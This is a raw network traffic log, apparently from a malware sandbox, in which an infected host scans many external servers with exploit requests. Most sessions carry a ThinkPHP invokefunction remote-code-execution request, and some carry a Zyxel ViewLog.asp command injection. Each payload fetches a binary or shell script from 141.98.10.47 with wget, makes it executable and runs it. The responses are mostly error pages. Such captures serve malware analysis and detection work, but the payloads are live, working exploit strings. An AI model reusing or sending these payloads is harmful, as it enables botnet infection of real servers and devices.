Dec 26, 2023 21:25:35.603311062 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.23	33548	88.221.35.142	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:37.709239960 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:37.834239006 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:37 GMT Date: Tue, 26 Dec 2023 20:25:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 33 64 37 64 64 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 33 37 26 23 34 36 3b 61 65 61 62 38 64 37 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.13d7dd17.1703622337.aeab8d71</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.23	56184	88.208.8.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:37.824678898 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:38.065499067 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.23	46888	88.99.28.83	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:37.832864046 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:38.082824945 CET	1286	IN	HTTP/1.1 505 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 2131 Date: Tue, 26 Dec 2023 20:25:37 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 35 30 35 20 e2 80 93 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 61 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 35 30 35 20 e2 80 93 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 45 78 63 65 70 74 69 6f 6e 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 49 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 73 65 72 76 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 2c 20 6f 72 20 72 65 66 75 73 65 73 20 74 6f 20 73 75 70 70 6f 72 74 2c 20 74 68 65 20 6d 61 6a 6f 72 20 76 65 72 73 69 6f 6e 20 6f 66 20 48 54 54 50 20 74 68 61 74 20 77 61 73 20 75 73 65 64 20 69 6e 20 74 68 65 20 72 65 71 75 65 73 74 20 6d 65 73 73 61 67 65 2e 3c 2f 70 3e 3c 70 3e 3c 62 3e 45 78 63 65 70 74 69 6f 6e 3c 2f 62 3e 3c 2f 70 3e 3c 70 72 65 3e 6a 61 76 61 2e 6c 61 6e 67 2e 49 6c 6c 65 67 61 6c 41 72 67 75 6d 65 6e 74 45 78 63 65 70 74 69 Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 505 HTTP Version Not Supported</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 HTTP Version Not Supported</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol</p><p><b>Description</b> The server does not support, or refuses to support, the major version of HTTP that was used in the request message.</p><p><b>Exception</b></p><pre>java.lang.IllegalArgumentExcepti
Dec 26, 2023 21:25:38.082899094 CET	1006	IN	Data Raw: 6f 6e 3a 20 49 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 49 Data Ascii: on: Invalid character found in the HTTP protocolorg.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:547)org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:684)org.apache.coyote.AbstractPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.23	59700	88.159.126.73	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:37.838951111 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:38.100174904 CET	1286	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 20:12:06 GMT Server: Apache/2.2.17 (Linux/SUSE) Alternates: {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-2} {language cs} {length 745}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language de} {length 766}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language en} {length 611}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language es} {length 759}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language fr} {length 771}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language ga} {length 813}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language it} {length 692}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-2022-jp} {language ja} {length 749}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset euc-kr} {language ko} {length 703}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language nl} {length 688}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-2} {language pl} {length 707}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language pt-br} {length 753}}, {"HTTP_NOT_F Data Raw: Data Ascii:
Dec 26, 2023 21:25:38.100583076 CET	956	IN	Data Raw: 55 4e 44 2e 68 74 6d 6c 2e 76 61 72 22 20 31 20 7b 74 79 70 65 20 74 65 78 74 2f 68 74 6d 6c 7d 20 7b 63 68 61 72 73 65 74 20 69 73 6f 2d 38 38 35 39 2d 31 7d 20 7b 6c 61 6e 67 75 61 67 65 20 72 6f 7d 20 7b 6c 65 6e 67 74 68 20 36 38 39 7d 7d 2c Data Ascii: UND.html.var" 1 {type text/html} {charset iso-8859-1} {language ro} {length 689}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-5} {language sr} {length 716}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.23	39488	85.208.121.29	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:37.864226103 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:38.144807100 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Tue, 26 Dec 2023 19:57:15 GMT Content-Type: text/html Content-Length: 3170 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.23	55788	95.86.77.128	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:37.866374016 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.23	52070	62.3.30.19	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:37.888355017 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.23	44702	95.56.41.28	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:37.899148941 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:38.221975088 CET	29	IN	HTTP/1.1 200 OK
Dec 26, 2023 21:25:38.222048998 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.23	50116	88.221.255.143	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:38.062737942 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:38.298887014 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:38 GMT Date: Tue, 26 Dec 2023 20:25:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 66 66 66 64 64 35 38 26 23 34 36 3b 31 37 30 33 36 32 32 33 33 38 26 23 34 36 3b 31 62 39 62 32 36 33 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.8fffdd58.1703622338.1b9b263c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.23	56496	94.103.99.139	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:38.118031979 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:38.372572899 CET	185	IN	HTTP/1.1 400 No Host matches server name 192.168.0.14 Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Tue, 26 Dec 2023 20:25:38 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.23	56208	88.208.8.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:38.297333956 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.23	49626	95.100.250.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:38.814795017 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
